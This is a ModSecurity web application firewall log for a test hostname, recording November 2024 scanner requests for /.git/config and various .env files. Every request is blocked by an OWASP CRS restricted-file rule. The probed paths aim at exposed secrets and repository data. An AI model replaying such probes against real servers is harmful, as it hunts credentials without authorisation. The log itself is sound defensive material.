[Wed Nov 13 15:15:06.492424 2024] [:error] [pid 3293209] [client 35.171.47.129:59936] [client 35.171.47.129] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzS0ar_Po6nVH4w0oRTOdQAAAAU&quot;]
[Wed Nov 13 15:15:06.494646 2024] [:error] [pid 3293209] [client 35.171.47.129:59936] [client 35.171.47.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzS0ar_Po6nVH4w0oRTOdQAAAAU&quot;]
[Wed Nov 13 15:15:06.495125 2024] [:error] [pid 3293209] [client 35.171.47.129:59936] [client 35.171.47.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzS0ar_Po6nVH4w0oRTOdQAAAAU&quot;]
[Sun Nov 17 09:05:37.663753 2024] [:error] [pid 3372497] [client 45.148.10.206:34770] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zzmj0Y5DXkzt6b4mqDAWQAAAABI&quot;]
[Sun Nov 17 09:05:37.665246 2024] [:error] [pid 3372497] [client 45.148.10.206:34770] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zzmj0Y5DXkzt6b4mqDAWQAAAABI&quot;]
[Sun Nov 17 09:05:37.665763 2024] [:error] [pid 3372497] [client 45.148.10.206:34770] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zzmj0Y5DXkzt6b4mqDAWQAAAABI&quot;]
[Sun Nov 17 13:30:16.469611 2024] [:error] [pid 3370338] [client 45.148.10.172:43908] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zznh2ItN8Fx1_F3WiUqMPwAAAAc&quot;]
[Sun Nov 17 13:30:16.470379 2024] [:error] [pid 3370338] [client 45.148.10.172:43908] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zznh2ItN8Fx1_F3WiUqMPwAAAAc&quot;]
[Sun Nov 17 13:30:16.470848 2024] [:error] [pid 3370338] [client 45.148.10.172:43908] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zznh2ItN8Fx1_F3WiUqMPwAAAAc&quot;]
[Mon Nov 18 13:10:11.760833 2024] [:error] [pid 3390892] [client 109.205.213.242:49738] [client 109.205.213.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zzsuo6QPRinBm9vo4nRANgAAAAQ&quot;]
[Mon Nov 18 13:10:11.761548 2024] [:error] [pid 3390892] [client 109.205.213.242:49738] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zzsuo6QPRinBm9vo4nRANgAAAAQ&quot;]
[Mon Nov 18 13:10:11.762018 2024] [:error] [pid 3390892] [client 109.205.213.242:49738] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zzsuo6QPRinBm9vo4nRANgAAAAQ&quot;]
[Mon Nov 18 13:10:12.546206 2024] [:error] [pid 3397390] [client 109.205.213.242:49750] [client 109.205.213.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZzsupC-gQ5bb_KHUZ8yLegAAAAg&quot;]
[Mon Nov 18 13:10:12.546883 2024] [:error] [pid 3397390] [client 109.205.213.242:49750] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZzsupC-gQ5bb_KHUZ8yLegAAAAg&quot;]
[Mon Nov 18 13:10:12.547361 2024] [:error] [pid 3397390] [client 109.205.213.242:49750] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZzsupC-gQ5bb_KHUZ8yLegAAAAg&quot;]
[Mon Nov 18 13:10:13.044854 2024] [:error] [pid 3390891] [client 109.205.213.242:49760] [client 109.205.213.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Zzsupd1Z9snompattk92CgAAAAM&quot;]
[Mon Nov 18 13:10:13.045119 2024] [:error] [pid 3390891] [client 109.205.213.242:49760] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Zzsupd1Z9snompattk92CgAAAAM&quot;]
[Mon Nov 18 13:10:13.045333 2024] [:error] [pid 3390891] [client 109.205.213.242:49760] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;Zzsupd1Z9snompattk92CgAAAAM&quot;]
[Mon Nov 18 13:10:13.595310 2024] [:error] [pid 3390890] [client 109.205.213.242:49772] [client 109.205.213.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ZzsupQASzURO3JgKUNpIIQAAAAI&quot;]
[Mon Nov 18 13:10:13.595736 2024] [:error] [pid 3390890] [client 109.205.213.242:49772] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ZzsupQASzURO3JgKUNpIIQAAAAI&quot;]
[Mon Nov 18 13:10:13.595976 2024] [:error] [pid 3390890] [client 109.205.213.242:49772] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ZzsupQASzURO3JgKUNpIIQAAAAI&quot;]
[Mon Nov 18 13:10:14.160774 2024] [:error] [pid 3390889] [client 109.205.213.242:49786] [client 109.205.213.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;Zzsuprrd3yrSwoQ3D9wUuwAAAAE&quot;]
[Mon Nov 18 13:10:14.161174 2024] [:error] [pid 3390889] [client 109.205.213.242:49786] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;Zzsuprrd3yrSwoQ3D9wUuwAAAAE&quot;]
[Mon Nov 18 13:10:14.161441 2024] [:error] [pid 3390889] [client 109.205.213.242:49786] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;Zzsuprrd3yrSwoQ3D9wUuwAAAAE&quot;]
[Tue Nov 19 21:01:12.181170 2024] [:error] [pid 3412343] [client 45.148.10.122:50620] [client 45.148.10.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzzuiN0YIkxJbgtl7qSj2AAAAAE&quot;]
[Tue Nov 19 21:01:12.181848 2024] [:error] [pid 3412343] [client 45.148.10.122:50620] [client 45.148.10.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzzuiN0YIkxJbgtl7qSj2AAAAAE&quot;]
[Tue Nov 19 21:01:12.182362 2024] [:error] [pid 3412343] [client 45.148.10.122:50620] [client 45.148.10.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzzuiN0YIkxJbgtl7qSj2AAAAAE&quot;]
[Wed Nov 20 03:46:12.813564 2024] [:error] [pid 3432512] [client 103.102.230.7:37896] [client 103.102.230.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1NdLVdLJAhNWjSFbRU7wAAAAQ&quot;]
[Wed Nov 20 03:46:12.814731 2024] [:error] [pid 3432512] [client 103.102.230.7:37896] [client 103.102.230.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1NdLVdLJAhNWjSFbRU7wAAAAQ&quot;]
[Wed Nov 20 03:46:12.815272 2024] [:error] [pid 3432512] [client 103.102.230.7:37896] [client 103.102.230.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1NdLVdLJAhNWjSFbRU7wAAAAQ&quot;]
[Wed Nov 20 05:44:33.499927 2024] [:error] [pid 3432512] [client 103.102.230.7:58618] [client 103.102.230.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1pMbVdLJAhNWjSFbRVDAAAAAQ&quot;]
[Wed Nov 20 05:44:33.500667 2024] [:error] [pid 3432512] [client 103.102.230.7:58618] [client 103.102.230.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1pMbVdLJAhNWjSFbRVDAAAAAQ&quot;]
[Wed Nov 20 05:44:33.501111 2024] [:error] [pid 3432512] [client 103.102.230.7:58618] [client 103.102.230.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zz1pMbVdLJAhNWjSFbRVDAAAAAQ&quot;]
